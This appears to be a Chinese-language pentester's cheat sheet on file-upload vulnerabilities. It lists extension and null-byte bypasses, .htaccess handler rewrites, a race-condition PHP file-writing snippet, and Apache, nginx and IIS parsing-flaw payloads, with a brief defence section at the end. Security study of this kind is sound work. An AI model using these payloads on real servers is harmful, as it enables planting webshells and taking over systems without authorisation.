常见上传点
- 头像,logo
- 文章图片
- 资料验证[xls可测xxe]
- 编辑器
尝试上传脚本文件
黑名单
黑名单=>不允许上传xx类型文件
绕过思路:上传不在黑名单最后又能被解析的后缀名
简单混淆
- 大小写混合
0.phP
- 双写
0.phphpp
找未过滤的后缀
php=>phtml phtm php2 php3 php4 php5 php7 pht
.asp .aspx .ascx .ashx .cer .asa .cdx
.jsp .jspx
shtml
【Apache SSI 远程命令执行漏洞】
html
进可xss,退可401钓鱼,黑seo
Win特性
Win文件流特性
0.php::$DATA
Win文件名特性,上传不符合windows 文件命名规则的文件,win自动去除非法字符
0.php(空格)
0.php.(空格)
0.php.(空格).
0.php::$DATA…….
0.php:1.jpg
00截断
0.php%00.jpg
位置:
- 路径
%00
+ctrl shift u
或%00
【get会自动解码一次,所以不需再解码,post不会自动解码,所以需要url解码一下】 - 文件名 hex=>00
补充:
条件:PHP<5.3.29,且GPC关闭
路径/upload/0.php%00
,文件名1.jpg
,结合成/upload/0.php%00/1.jpg
,移动文件的时候会将文件保存为uploads/0.php
重写解析规则
上传.htaccess
,影响.htaccess
文件所在目录及其子目录
内容:
1.
<FilesMatch ".jpg">
SetHandler application/x-httpd-php
</FilesMatch>
将.jpg解析为php
2.
AddType application/x-httpd-php xxx
后缀为.xxx
的文件被Apache当做php文件
竞争上传
先上传后删除的情况下,多线程上传,多线程访问
0.php
<?php
fputs(fopen("phpinfo.php","w"),"<?php phpinfo();?>");
?>
超长文件名/超长路径截断
0.php(n个空格).jpg
会被处理成0.php
win中n>256
linux中n>4096
白名单
白名单=>只允许上传xx类型文件
00截断
0.php%00.jpg
位置:
1.路径 %00
+ctrl shift u
/%00
【get会自动解码一次,所以不需再解码,post不会自动解码,所以需要url解码一下】
2.文件名 hex=>00
补充:
条件:PHP<5.3.29,且GPC关闭
路径/upload/0.php%00
,文件名1.jpg
,结合成/upload/0.php%00/1.jpg
,移动文件的时候会将文件保存为uploads/0.php
验证脚本文件
上传有效
相对路径可知
后缀为可解析脚本后缀
文件内容没有改动
可被解析
盘外招-解析漏洞
apache
Apache 换行解析漏洞
Apache HTTPD 2.4.0~2.4.29
解析PHP时,1.phpx0A
将被按照php后缀进行解析
上传0.php(hex=>0a)
访问0.php%0a
上传0.php(hex=>0d)
访问0.php%0d
https://vulhub.org/#/environments/httpd/CVE-2017-15715/
Apache 多后缀解析漏洞
如果运维人员给.php后缀增加了处理器:
AddHandler application/x-httpd-php .php
在有多个后缀的情况下,只要一个文件含有.php后缀的文件即将被识别成PHP文件
上传0.php.jpg
访问0.php.jpg
https://vulhub.org/#/environments/httpd/apache_parsing_vulnerability/
非法后缀解析
Apache 是从右到左开始判断解析,如果为不可识别解析,就再往左判断
上传0.php.abc.defg
访问0.php.abc.defg
会被当成php解析
nginx
PHP中cgi.fix_pathinfo=1
文件路径修复:0.jpg/0.php
=>判断0.php
不存在,去除/0.php
=>判断0.jpg
存在=>把0.jpg
内容当成0.php
执行其代码
上传0.jpg
访问0.jpg/0.php
CVE-2013-4547
0.8.41 ~ 1.4.3 / 1.5.0 ~ 1.5.7
上传0.jpg(空格)
访问0.jpgAA.php
,将第一个A
改成20
(空格符号的ASCII码),将第二个A
改成00
(截止符)
空字节
0.5.*, 0.6.*, 0.7 <= 0.7.65, 0.8 <= 0.8.37
上传0.jpg
访问0.jpg%00.php
iis
IIS5.x-6.x
目录解析
创建0.asp
目录,目录下任何文件都会被当成asp文件解析
/0.asp/0.jpg
文件解析
上传0.asp;.jpg
访问
文件解析漏洞总结-IIS
关于1.1和1.2
IIS 5.x/6.0在从文件路径中读取文件后缀时,遇到一个.
后,便进入了一种截断状态,在该状态下遇到特殊符号——/
和;
,都会进行截断,只保留特殊符号前的部分,即:.asp
,从而认为文件后缀为.asp
。
IIS7.0
畸形解析
上传0.jpg
访问0.jpg/0.asp
IIS7.5
PHP畸形解析
上传0.jpg
访问0.jpg/.php
测试手法
上传图片,抓包改后缀,内容尾部加webshell
各种问题
图片马被二次渲染
上传图片被修改大小
当前目录脚本不解析,无解析文件执行权限
跨目录上传到可解析目录,改写解析规则
- 文件名跨目录
- 路径跨目录
- 上传.htaccess改写解析规则
动态形式调用
被编码保存数据库
尝试修改输出编码
如何防御
上传到OSS文件服务器,注意key的保护
写死解析规则和读写权限
http://www.xoslab.com/
出自甲方老专家
https://my.oschina.net/9199771/blog/3145572